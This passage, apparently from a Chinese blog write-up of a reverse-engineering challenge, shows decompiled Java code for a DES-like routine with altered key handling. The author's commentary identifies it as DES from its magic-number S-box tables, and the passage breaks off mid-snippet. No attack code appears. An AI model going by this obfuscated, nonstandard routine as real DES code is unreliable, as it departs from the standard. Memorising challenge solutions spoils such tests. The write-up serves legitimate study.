class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">frsu</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">frsu</span><span class="params">()</span> &#123;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">static</span> <span class="type">byte</span>[] b(<span class="type">byte</span>[] var0, <span class="type">int</span>[] var2) <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">int</span>[] var3 = <span class="keyword">new</span> <span class="title class_">int</span>[]&#123;<span class="number">943331329</span>, <span class="number">170788368</span>, <span class="number">1008414755</span>, <span class="number">187049985</span>, <span class="number">1010368540</span>, <span class="number">220604441</span>, <span class="number">940377620</span>, <span class="number">255209728</span>, <span class="number">689771012</span>, <span class="number">221709344</span>, <span class="number">957157408</span>, <span class="number">892536332</span>, <span class="number">722417666</span>, <span class="number">1026621720</span>, <span class="number">655302664</span>, <span class="number">890966315</span>&#125;;</span><br><span class="line">        <span class="type">int</span>[] vark = <span class="keyword">new</span> <span class="title class_">int</span>[]&#123;<span class="number">1847617210</span>, <span class="number">1994607775</span>, <span class="number">1906299266</span>, <span class="number">1443467998</span>, <span class="number">1753140052</span>, <span class="number">782026644</span>, <span class="number">743697037</span>, <span class="number">1500018807</span>, <span class="number">1015162722</span>, <span class="number">141403752</span>, <span class="number">1057274701</span>, <span class="number">1430471406</span>, <span class="number">921937966</span>, <span class="number">1419221067</span>, <span class="number">962664086</span>, <span class="number">2133607337</span>&#125;;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// === key 发生了亦或处理  ===</span></span><br><span class="line">        <span class="keyword">for</span>(<span class="type">int</span> <span class="variable">var11</span> <span class="operator">=</span> <span class="number">0</span>; var11 &lt; <span class="number">16</span>; ++var11) &#123;</span><br><span class="line">            var2[var11] ^= vark[var11];</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// === 扩展成了32位的数据 ===</span></span><br><span class="line">        <span class="type">int</span>[] ext_key = <span class="keyword">new</span> <span class="title class_">int</span>[<span class="number">32</span>];</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="type">int</span> key_index;</span><br><span class="line">        <span class="keyword">for</span>(key_index = <span class="number">0</span>; key_index &lt; <span class="number">16</span>; ++key_index) &#123;</span><br><span class="line">            ext_key[key_index] = var3[key_index];</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span>(key_index = <span class="number">0</span>; key_index &lt; <span class="number">16</span>; ++key_index) &#123;</span><br><span class="line">            ext_key[key_index + <span class="number">16</span>] = var2[key_index];</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="type">byte</span>[] cipher_text = var0;</span><br><span class="line">        <span class="type">int</span>[] S0 = <span class="keyword">new</span> <span class="title class_">int</span>[]&#123;<span class="number">16843776</span>, <span class="number">0</span>, <span class="number">65536</span>, <span class="number">16843780</span>, <span class="number">16842756</span>, <span class="number">66564</span>, <span class="number">4</span>, <span class="number">65536</span>, <span class="number">1024</span>, <span class="number">16843776</span>, <span class="number">16843780</span>, <span class="number">1024</span>, <span class="number">16778244</span>, <span class="number">16842756</span>, <span class="number">16777216</span>, <span class="number">4</span>, <span class="number">1028</span>, <span class="number">16778240</span>, <span class="number">16778240</span>, <span class="number">66560</span>, <span class="number">66560</span>, <span class="number">16842752</span>, <span class="number">16842752</span>, <span class="number">16778244</span>, <span class="number">65540</span>, <span class="number">16777220</span>, <span class="number">16777220</span>, <span class="number">65540</span>, <span class="number">0</span>, <span class="number">1028</span>, <span class="number">66564</span>, <span class="number">16777216</span>, <span class="number">65536</span>, <span class="number">16843780</span>, <span class="number">4</span>, <span class="number">16842752</span>, <span class="number">16843776</span>, <span class="number">16777216</span>, <span class="number">16777216</span>, <span class="number">1024</span>, <span class="number">16842756</span>, <span class="number">65536</span>, <span class="number">66560</span>, <span class="number">16777220</span>, <span class="number">1024</span>, <span class="number">4</span>, <span class="number">16778244</span>, <span class="number">66564</span>, <span class="number">16843780</span>, <span class="number">65540</span>, <span class="number">16842752</span>, <span class="number">16778244</span>, <span class="number">16777220</span>, <span class="number">1028</span>, <span class="number">66564</span>, <span class="number">16843776</span>, <span class="number">1028</span>, <span class="number">16778240</span>, <span class="number">16778240</span>, <span class="number">0</span>, <span class="number">65540</span>, <span class="number">66560</span>, <span class="number">0</span>, <span class="number">16842756</span>&#125;;</span><br><span class="line">          <span class="type">int</span>[] S1 = <span class="keyword">new</span> <span class="title class_">int</span>[]&#123;-<span class="number">2146402272</span>, -<span class="number">2147450880</span>, <span class="string">&#x27;耀&#x27;</span>, <span class="number">1081376</span>, <span class="number">1048576</span>, <span class="number">32</span>, -<span class="number">2146435040</span>, -<span class="number">2147450848</span>, -<span class="number">2147483616</span>, -<span class="number">2146402272</span>, -<span class="number">2146402304</span>, -<span class="number">2147483648</span>, -<span class="number">2147450880</span>, <span class="number">1048576</span>, <span class="number">32</span>, -<span class="number">2146435040</span>, <span class="number">1081344</span>, <span class="number">1048608</span>, -<span class="number">2147450848</span>, <span class="number">0</span>, -<span class="number">2147483648</span>, <span class="string">&#x27;耀&#x27;</span>, <span class="number">1081376</span>, -<span class="number">2146435072</span>, <span class="number">1048608</span>, -<span class="number">2147483616</span>, <span class="number">0</span>, <span class="number">1081344</span>, <span class="string">&#x27;耠&#x27;</span>, -<span class="number">2146402304</span>, -<span class="number">2146435072</span>, <span class="string">&#x27;耠&#x27;</span>, <span class="number">0</span>, <span class="number">1081376</span>, -<span class="number">2146435040</span>, <span class="number">1048576</span>, -<span class="number">2147450848</span>, -<span class="number">2146435072</span>, -<span class="number">2146402304</span>, <span class="string">&#x27;耀&#x27;</span>, -<span class="number">2146435072</span>, -<span class="number">2147450880</span>, <span class="number">32</span>, -<span class="number">2146402272</span>, <span class="number">1081376</span>, <span class="number">32</span>, <span class="string">&#x27;耀&#x27;</span>, -<span class="number">2147483648</span>, <span class="string">&#x27;耠&#x27;</span>, -<span class="number">2146402304</span>, <span class="number">1048576</span>, -<span class="number">2147483616</span>, <span class="number">1048608</span>, -<span class="number">2147450848</span>, -<span class="number">2147483616</span>, <span class="number">1048608</span>, <span class="number">1081344</span>, <span class="number">0</span>, -<span class="number">2147450880</span>, <span class="string">&#x27;耠&#x27;</span>, -<span class="number">2147483648</span>, -<span class="number">2146435040</span>, -<span class="number">2146402272</span>, <span class="number">1081344</span>&#125;;</span><br><span class="line">        <span class="type">int</span>[] S2 = <span class="keyword">new</span> <span class="title class_">int</span>[]&#123;<span class="number">520</span>, <span class="number">134349312</span>, <span class="number">0</span>, <span class="number">134348808</span>, <span class="number">134218240</span>, <span class="number">0</span>, <span class="number">131592</span>, <span class="number">134218240</span>, <span class="number">131080</span>, <span class="number">134217736</span>, <span class="number">134217736</span>, <span class="number">131072</span>, <span class="number">134349320</span>, <span class="number">131080</span>, <span class="number">134348800</span>, <span class="number">520</span>, <span class="number">134217728</span>, <span class="number">8</span>, <span class="number">134349312</span>, <span class="number">512</span>, <span class="number">131584</span>, <span class="number">134348800</span>, <span class="number">134348808</span>, <span class="number">131592</span>, <span class="number">134218248</span>, <span class="number">131584</span>, <span class="number">131072</span>, <span class="number">134218248</span>, <span class="number">8</span>, <span class="number">134349320</span>, <span class="number">512</span>, <span class="number">134217728</span>, <span class="number">134349312</span>, <span class="number">134217728</span>, <span class="number">131080</span>, <span class="number">520</span>, <span class="number">131072</span>, <span class="number">134349312</span>, <span class="number">134218240</span>, <span class="number">0</span>, <span class="number">512</span>, <span class="number">131080</span>, <span class="number">134349320</span>, <span class="number">134218240</span>, <span class="number">134217736</span>, <span class="number">512</span>, <span class="number">0</span>, <span class="number">134348808</span>, <span class="number">134218248</span>, <span class="number">131072</span>, <span class="number">134217728</span>, <span class="number">134349320</span>, <span class="number">8</span>, <span class="number">131592</span>, <span class="number">131584</span>, <span class="number">134217736</span>, <span class="number">134348800</span>, <span class="number">134218248</span>, <span class="number">520</span>, <span class="number">134348800</span>, <span class="number">131592</span>, <span class="number">8</span>, <span class="number">134348808</span>, <span class="number">131584</span>&#125;;</span><br><span class="line">        <span class="type">int</span>[] S3 = <span class="keyword">new</span> <span class="title class_">int</span>[]&#123;<span class="number">8396801</span>, <span class="number">8321</span>, <span class="number">8321</span>, <span class="number">128</span>, <span class="number">8396928</span>, <span class="number">8388737</span>, <span class="number">8388609</span>, <span class="number">8193</span>, <span class="number">0</span>, <span class="number">8396800</span>, <span class="number">8396800</span>, <span class="number">8396929</span>, <span class="number">129</span>, <span class="number">0</span>, <span class="number">8388736</span>, <span class="number">8388609</span>, <span class="number">1</span>, <span class="number">8192</span>, <span class="number">8388608</span>, <span class="number">8396801</span>, <span class="number">128</span>, <span class="number">8388608</span>, <span class="number">8193</span>, <span class="number">8320</span>, <span class="number">8388737</span>, <span class="number">1</span>, <span class="number">8320</span>, <span class="number">8388736</span>, <span class="number">8192</span>, <span class="number">8396928</span>, <span class="number">8396929</span>, <span class="number">129</span>, <span class="number">8388736</span>, <span class="number">8388609</span>, <span class="number">8396800</span>, <span class="number">8396929</span>, <span class="number">129</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">8396800</span>, <span class="number">8320</span>, <span class="number">8388736</span>, <span class="number">8388737</span>, <span class="number">1</span>, <span class="number">8396801</span>, <span class="number">8321</span>, <span class="number">8321</span>, <span class="number">128</span>, <span class="number">8396929</span>, <span class="number">129</span>, <span class="number">1</span>, <span class="number">8192</span>, <span class="number">8388609</span>, <span class="number">8193</span>, <span class="number">8396928</span>, <span class="number">8388737</span>, <span class="number">8193</span>, <span class="number">8320</span>, <span class="number">8388608</span>, <span class="number">8396801</span>, <span class="number">128</span>, <span class="number">8388608</span>, <span class="number">8192</span>, <span class="number">8396928</span>&#125;;</span><br><span class="line">        <span class="type">int</span>[] S4 = <span class="keyword">new</span> <span class="title class_">int</span>[]&#123;<span class="number">256</span>, <span class="number">34078976</span>, <span class="number">34078720</span>, <span class="number">1107296512</span>, <span class="number">524288</span>, <span class="number">256</span>, <span class="number">1073741824</span>, <span class="number">34078720</span>, <span class="number">1074266368</span>, <span class="number">524288</span>, <span class="number">33554688</span>, <span class="number">1074266368</span>, <span class="number">1107296512</span>, <span class="number">1107820544</span>, <span class="number">524544</span>, <span class="number">1073741824</span>, <span class="number">33554432</span>, <span class="number">1074266112</span>, <span class="number">1074266112</span>, <span class="number">0</span>, <span class="number">1073742080</span>, <span class="number">1107820800</span>, <span class="number">1107820800</span>, <span class="number">33554688</span>, <span class="number">1107820544</span>, <span class="number">1073742080</span>, <span class="number">0</span>, <span class="number">1107296256</span>, <span class="number">34078976</span>, <span class="number">33554432</span>, <span class="number">1107296256</span>, <span class="number">524544</span>, <span class="number">524288</span>, <span class="number">1107296512</span>, <span class="number">256</span>, <span class="number">33554432</span>, <span class="number">1073741824</span>, <span class="number">34078720</span>, <span class="number">1107296512</span>, <span class="number">1074266368</span>, <span class="number">33554688</span>, <span class="number">1073741824</span>, <span class="number">1107820544</span>, <span class="number">34078976</span>, <span class="number">1074266368</span>, <span class="number">256</span>, <span class="number">33554432</span>, <span class="number">1107820544</span>, <span class="number">1107820800</span>, <span class="number">524544</span>, <span class="number">1107296256</span>, <span class="number">1107820800</span>, <span class="number">34078720</span>, <span class="number">0</span>, <span class="number">1074266112</span>, <span class="number">1107296256</span>, <span class="number">524544</span>, <span class="number">33554688</span>, <span class="number">1073742080</span>, <span class="number">524288</span>, <span class="number">0</span>, <span class="number">1074266112</span>, <span class="number">34078976</span>, <span class="number">1073742080</span>&#125;;</span><br><span class="line">        <span class="type">int</span>[] S5 = <span class="keyword">new</span> <span class="title class_">int</span>[]&#123;<span class="number">536870928</span>, <span class="number">541065216</span>, <span class="number">16384</span>, <span class="number">541081616</span>, <span class="number">541065216</span>, <span class="number">16</span>, <span class="number">541081616</span>, <span class="number">4194304</span>, <span class="number">536887296</span>, <span class="number">4210704</span>, <span class="number">4194304</span>, <span class="number">536870928</span>, <span class="number">4194320</span>, <span class="number">536887296</span>, <span class="number">536870912</span>, <span class="number">16400</span>, <span class="number">0</span>, <span class="number">4194320</span>, <span class="number">536887312</span>, <span class="number">16384</span>, <span class="number">4210688</span>, <span class="number">536887312</span>, <span class="number">16</span>, <span class="number">541065232</span>, <span class="number">541065232</span>, <span class="number">0</span>, <span class="number">4210704</span>, <span class="number">541081600</span>, <span class="number">16400</span>, <span class="number">4210688</span>, <span class="number">541081600</span>, <span class="number">536870912</span>, <span class="number">536887296</span>, <span class="number">16</span>, <span class="number">541065232</span>, <span class="number">4210688</span>, <span class="number">541081616</span>, <span class="number">4194304</span>, <span class="number">16400</span>, <span class="number">536870928</span>, <span class="number">4194304</span>, <span class="number">536887296</span>, <span class="number">536870912</span>, <span class="number">16400</span>, <span class="number">536870928</span>, <span class="number">541081616</span>, <span class="number">4210688</span>, <span class="number">541065216</span>, <span class="number">4210704</span>, <span class="number">541081600</span>, <span class="number">0</span>, <span class="number">541065232</span>, <span class="number">16</span>, <span class="number">16384</span>, <span class="number">541065216</span>, <span class="number">4210704</span>, <span class="number">16384</span>, <span class="number">4194320</span>, <span class="number">536887312</span>, <span class="number">0</span>, <span class="number">541081600</span>, <span class="number">536870912</span>, <span class="number">4194320</span>, <span class="number">536887312</span>&#125;;</span><br><span class="line">        <span class="type">int</span>[] S6 = <span class="keyword">new</span> <span class="title class_">int</span>[]&#123;<span class="number">2097152</span>, <span class="number">69206018</span>, <span class="number">67110914</span>, <span class="number">0</span>, <span class="number">2048</span>, <span class="number">67110914</span>, <span class="number">2099202</span>, <span class="number">69208064</span>, <span class="number">69208066</span>, <span class="number">2097152</span>, <span class="number">0</span>, <span class="number">67108866</span>, <span class="number">2</span>, <span class="number">67108864</span>, <span class="number">69206018</span>, <span class="number">2050</span>, <span class="number">67110912</span>, <span class="number">2099202</span>, <span class="number">2097154</span>, <span class="number">67110912</span>, <span class="number">67108866</span>, <span class="number">69206016</span>, <span class="number">69208064</span>, <span class="number">2097154</span>, <span class="number">69206016</span>, <span class="number">2048</span>, <span class="number">2050</span>, <span class="number">69208066</span>, <span class="number">2099200</span>, <span class="number">2</span>, <span class="number">67108864</span>, <span class="number">2099200</span>, <span class="number">67108864</span>, <span class="number">2099200</span>, <span class="number">2097152</span>, <span class="number">67110914</span>, <span class="number">67110914</span>, <span class="number">69206018</span>, <span class="number">69206018</span>, <span class="number">2</span>, <span class="number">2097154</span>, <span class="number">67108864</span>, <span class="number">67110912</span>, <span class="number">2097152</span>, <span class="number">69208064</span>, <span class="number">2050</span>, <span class="number">2099202</span>, <span class="number">69208064</span>, <span class="number">2050</span>, <span class="number">67108866</span>, <span class="number">69208066</span>, <span class="number">69206016</span>, <span class="number">2099200</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">69208066</span>, <span class="number">0</span>, <span class="number">2099202</span>, <span class="number">69206016</span>, <span class="number">2048</span>, <span class="number">67108866</span>, <span class="number">67110912</span>, <span class="number">2048</span>, <span class="number">2097154</span>&#125;;</span><br><span class="line">        <span class="type">int</span>[] S7 = <span class="keyword">new</span> <span class="title class_">int</span>[]&#123;<span class="number">268439616</span>, <span class="number">4096</span>, <span class="number">262144</span>, <span class="number">268701760</span>, <span class="number">268435456</span>, <span class="number">268439616</span>, <span class="number">64</span>, <span class="number">268435456</span>, <span class="number">262208</span>, <span class="number">268697600</span>, <span class="number">268701760</span>, <span class="number">266240</span>, <span class="number">268701696</span>, <span class="number">266304</span>, <span class="number">4096</span>, <span class="number">64</span>, <span class="number">268697600</span>, <span class="number">268435520</span>, <span class="number">268439552</span>, <span class="number">4160</span>, <span class="number">266240</span>, <span class="number">262208</span>, <span class="number">268697664</span>, <span class="number">268701696</span>, <span class="number">4160</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">268697664</span>, <span class="number">268435520</span>, <span class="number">268439552</span>, <span class="number">266304</span>, <span class="number">262144</span>, <span class="number">266304</span>, <span class="number">262144</span>, <span class="number">268701696</span>, <span class="number">4096</span>, <span class="number">64</span>, <span class="number">268697664</span>, <span class="number">4096</span>, <span class="number">266304</span>, <span class="number">268439552</span>, <span class="number">64</span>, <span class="number">268435520</span>, <span class="number">268697600</span>, <span class="number">268697664</span>, <span class="number">268435456</span>, <span class="number">262144</span>, <span class="number">268439616</span>, <span class="number">0</span>, <span class="number">268701760</span>, <span class="number">262208</span>, <span class="number">268435520</span>, <span class="number">268697600</span>, <span class="number">268439552</span>, <span class="number">268439616</span>, <span class="number">0</span>, <span class="number">268701760</span>, <span class="number">266240</span>, <span class="number">266240</span>, <span class="number">4160</span>, <span class="number">4160</span>, <span class="number">262208</span>, <span class="number">268435456</span>, <span class="number">268701696</span>&#125;;</span><br><span class="line">           <span class="type">int</span> <span class="variable">cipher_text_length</span> <span class="operator">=</span> var0.length;</span><br><span class="line">        key_index = cipher_text_length % <span class="number">8</span>;<span class="comment">//注意，我们的字符串长度应该是8的倍数</span></span><br><span class="line">        <span class="keyword">if</span>(key_index != <span class="number">0</span>) &#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;try again&quot;</span>);</span><br><span class="line">            System.exit(<span class="number">0</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="type">byte</span> <span class="variable">var301</span> <span class="operator">=</span> <span class="number">2</span>;</span><br><span class="line">        <span class="type">int</span>[] var21 = <span class="keyword">new</span> <span class="title class_">int</span>[var301];</span><br><span class="line">        <span class="type">byte</span>[] var22 = <span class="keyword">new</span> <span class="title class_">byte</span>[cipher_text_length];</span><br><span class="line">        <span class="type">int</span> <span class="variable">group</span> <span class="operator">=</span> cipher_text_length / <span class="number">8</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span>(<span class="type">int</span> <span class="variable">var24</span> <span class="operator">=</span> <span class="number">0</span>; var24 &lt; group; ++var24) &#123;</span><br><span class="line">            <span class="type">int</span> <span class="variable">var25</span> <span class="operator">=</span> var24 * <span class="number">8</span>;</span><br><span class="line"></span><br><span class="line">            <span class="type">int</span> var26;</span><br><span class="line">            <span class="comment">// === 分组整合 ===</span></span><br><span class="line">            <span class="keyword">for</span>(var26 = <span class="number">0</span>; var26 &lt; <span class="number">2</span>; ++var26) &#123;</span><br><span class="line">                var21[var26] = (cipher_text[var25 + var26 * <span class="number">4</span>] &amp; <span class="number">255</span>) &lt;&lt; <span class="number">24</span> | (cipher_text[var25 + var26 * <span class="number">4</span> + <span class="number">1</span>] &amp; <span class="number">255</span>) &lt;&lt; <span class="number">16</span> | (cipher_text[var25 + var26 * <span class="number">4</span> + <span class="number">2</span>] &amp; <span class="number">255</span>) &lt;&lt; <span class="number">8</span> | cipher_text[var25 + var26 * <span class="number">4</span> + <span class="number">3</span>] &amp; <span class="number">255</span>;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="type">int</span> <span class="variable">key_index</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">            <span class="type">int</span> <span class="variable">var29</span> <span class="operator">=</span> var21[<span class="number">0</span>];</span><br><span class="line">            <span class="type">int</span> <span class="variable">var28</span> <span class="operator">=</span> var21[<span class="number">1</span>];</span><br><span class="line">            <span class="type">int</span> <span class="variable">var27</span> <span class="operator">=</span> (var29 &gt;&gt;&gt; <span class="number">4</span> ^ var28) &amp; <span class="number">252645135</span>;<span class="comment">//0xf0f0f0f</span></span><br><span class="line">            var28 ^= var27;</span><br><span class="line">            var29 ^= var27 &lt;&lt; <span class="number">4</span>;</span><br><span class="line">            var27 = (var29 &gt;&gt;&gt; <span class="number">16</span> ^ var28) &amp; <span class="string">&#x27;\uffff&#x27;</span>;<span class="comment">//0x0000ffff</span></span><br><span class="line">            var28 ^= var27;</span><br><span class="line">            var29 ^= var27 &lt;&lt; <span class="number">16</span>;</span><br><span class="line">            var27 = (var28 &gt;&gt;&gt; <span class="number">2</span> ^ var29) &amp; <span class="number">858993459</span>;<span class="comment">//0x33333333</span></span><br><span class="line">            var29 ^= var27;</span><br><span class="line">            var28 ^= var27 &lt;&lt; <span class="number">2</span>;</span><br><span class="line">            var27 = (var28 &gt;&gt;&gt; <span class="number">8</span> ^ var29) &amp; <span class="number">16711935</span>;<span class="comment">//0x00ff00ff</span></span><br><span class="line">            var29 ^= var27;</span><br><span class="line">            var28 ^= var27 &lt;&lt; <span class="number">8</span>;</span><br><span class="line">            var28 = var28 &lt;&lt; <span class="number">1</span> | var28 &gt;&gt;&gt; <span class="number">31</span> &amp; <span class="number">1</span>;</span><br><span class="line">            var27 = (var29 ^ var28) &amp; -<span class="number">1431655766</span>;<span class="comment">//0xaaaaaaaa</span></span><br><span class="line">            var29 ^= var27;</span><br><span class="line">            var28 ^= var27;</span><br><span class="line">            var29 = var29 &lt;&lt; <span class="number">1</span> | var29 &gt;&gt;&gt; <span class="number">31</span> &amp; <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">for</span>(<span class="type">int</span> <span class="variable">var30</span> <span class="operator">=</span> <span class="number">0</span>; var30 &lt; <span class="number">8</span>; ++var30) &#123;</span><br><span class="line">                var27 = var28 &lt;&lt; <span class="number">28</span> | var28 &gt;&gt;&gt; <span class="number">4</span>;</span><br><span class="line">                var27 ^= ext_key[key_index++];</span><br><span class="line">                var26 = S6[var27 &amp; <span class="number">63</span>];</span><br><span class="line">                var26 |= S4[var27 &gt;&gt;&gt; <span class="number">8</span> &amp; <span class="number">63</span>];</span><br><span class="line">                var26 |= S2[var27 &gt;&gt;&gt; <span class="number">16</span> &amp; <span class="number">63</span>];</span><br><span class="line">                var26 |= S0[var27 &gt;&gt;&gt; <span class="number">24</span> &amp; <span class="number">63</span>];</span><br><span class="line">                var27 = var28 ^ ext_key[key_index++];</span><br><span class="line">                var26 |= S7[var27 &amp; <span class="number">63</span>];</span><br><span class="line">                var26 |= S5[var27 &gt;&gt;&gt; <span class="number">8</span> &amp; <span class="number">63</span>];</span><br><span class="line">                var26 |= S3[var27 &gt;&gt;&gt; <span class="number">16</span> &amp; <span class="number">63</span>];</span><br><span class="line">                var26 |= S1[var27 &gt;&gt;&gt; <span class="number">24</span> &amp; <span class="number">63</span>];</span><br><span class="line">                var29 ^= var26;</span><br><span class="line">                var27 = var29 &lt;&lt; <span class="number">28</span> | var29 &gt;&gt;&gt; <span class="number">4</span>;</span><br><span class="line">                var27 ^= ext_key[key_index++];</span><br><span class="line">                var26 = S6[var27 &amp; <span class="number">63</span>];</span><br><span class="line">                var26 |= S4[var27 &gt;&gt;&gt; <span class="number">8</span> &amp; <span class="number">63</span>];</span><br><span class="line">                var26 |= S2[var27 &gt;&gt;&gt; <span class="number">16</span> &amp; <span class="number">63</span>];</span><br><span class="line">                var26 |= S0[var27 &gt;&gt;&gt; <span class="number">24</span> &amp; <span class="number">63</span>];</span><br><span class="line">                var27 = var29 ^ ext_key[key_index++];</span><br><span class="line">                var26 |= S7[var27 &amp; <span class="number">63</span>];</span><br><span class="line">                var26 |= S5[var27 &gt;&gt;&gt; <span class="number">8</span> &amp; <span class="number">63</span>];</span><br><span class="line">                var26 |= S3[var27 &gt;&gt;&gt; <span class="number">16</span> &amp; <span class="number">63</span>];</span><br><span class="line">                var26 |= S1[var27 &gt;&gt;&gt; <span class="number">24</span> &amp; <span class="number">63</span>];</span><br><span class="line">                var28 ^= var26;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            var28 = var28 &lt;&lt; <span class="number">31</span> | var28 &gt;&gt;&gt; <span class="number">1</span>;</span><br><span class="line">            var27 = (var29 ^ var28) &amp; -<span class="number">1431655766</span>;</span><br><span class="line">            var29 ^= var27;</span><br><span class="line">            var28 ^= var27;</span><br><span class="line">            var29 = var29 &lt;&lt; <span class="number">31</span> | var29 &gt;&gt;&gt; <span class="number">1</span>;</span><br><span class="line">            var27 = (var29 &gt;&gt;&gt; <span class="number">8</span> ^ var28) &amp; <span class="number">16711935</span>;</span><br><span class="line">            var28 ^= var27;</span><br><span class="line">            var29 ^= var27 &lt;&lt; <span class="number">8</span>;</span><br><span class="line">            var27 = (var29 &gt;&gt;&gt; <span class="number">2</span> ^ var28) &amp; <span class="number">858993459</span>;</span><br><span class="line">            var28 ^= var27;</span><br><span class="line">            var29 ^= var27 &lt;&lt; <span class="number">2</span>;</span><br><span class="line">            var27 = (var28 &gt;&gt;&gt; <span class="number">16</span> ^ var29) &amp; <span class="string">&#x27;\uffff&#x27;</span>;</span><br><span class="line">            var29 ^= var27;</span><br><span class="line">            var28 ^= var27 &lt;&lt; <span class="number">16</span>;</span><br><span class="line">            var27 = (var28 &gt;&gt;&gt; <span class="number">4</span> ^ var29) &amp; <span class="number">252645135</span>;</span><br><span class="line">            var29 ^= var27;</span><br><span class="line">            var28 ^= var27 &lt;&lt; <span class="number">4</span>;</span><br><span class="line">            var21[<span class="number">0</span>] = var28;</span><br><span class="line">            var21[<span class="number">1</span>] = var29;</span><br><span class="line">            <span class="type">int</span> <span class="variable">var32</span> <span class="operator">=</span> var24 * <span class="number">8</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">for</span>(<span class="type">int</span> <span class="variable">var33</span> <span class="operator">=</span> <span class="number">0</span>; var33 &lt; <span class="number">2</span>; ++var33) &#123;</span><br><span class="line">                var22[var32 + var33 * <span class="number">4</span>] = (<span class="type">byte</span>)(var21[var33] &gt;&gt;&gt; <span class="number">24</span>);</span><br><span class="line">                var22[var32 + var33 * <span class="number">4</span> + <span class="number">1</span>] = (<span class="type">byte</span>)(var21[var33] &gt;&gt;&gt; <span class="number">16</span>);</span><br><span class="line">                var22[var32 + var33 * <span class="number">4</span> + <span class="number">2</span>] = (<span class="type">byte</span>)(var21[var33] &gt;&gt;&gt; <span class="number">8</span>);</span><br><span class="line">                var22[var32 + var33 * <span class="number">4</span> + <span class="number">3</span>] = (<span class="type">byte</span>)var21[var33];</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="type">byte</span> <span class="variable">var10000</span> <span class="operator">=</span> var22[var22.length - <span class="number">1</span>];</span><br><span class="line">        <span class="keyword">return</span> var22;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>由大量魔数可知，这一定是一个des加密方法，而des加密的重点在于其是一个**【对称】**的加密，它在密钥的时候上是一个对称的状态，尤其从下面代码中可以看出：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">var27 = var28 &lt;&lt; <span class="number">28</span> | var28 &gt;&gt;&gt; <span class="number">4</span>;</span><br><span class="line">var27 ^= ext_key[key_index++];</span><br><span class="line">var26 = S6[var27 &amp; <span class="number">63</span>];</span><br><span class="line">var26 |= S4[var27 &gt;&gt;&gt; <span class="number">8</span> &amp; <span class="number">63</span>];</span><br><span class="line">var26 |= S2[var27 &gt;&gt;&gt; <span class="number">16</span> &amp; <span class="number">63</span>];</span><br><span class="line">var26 |= S0[var27 &gt;&gt;&gt; <span class="number">24</span> &amp; <span class="number">63</span>];</span><br><span class="line">var27 = var28 ^ 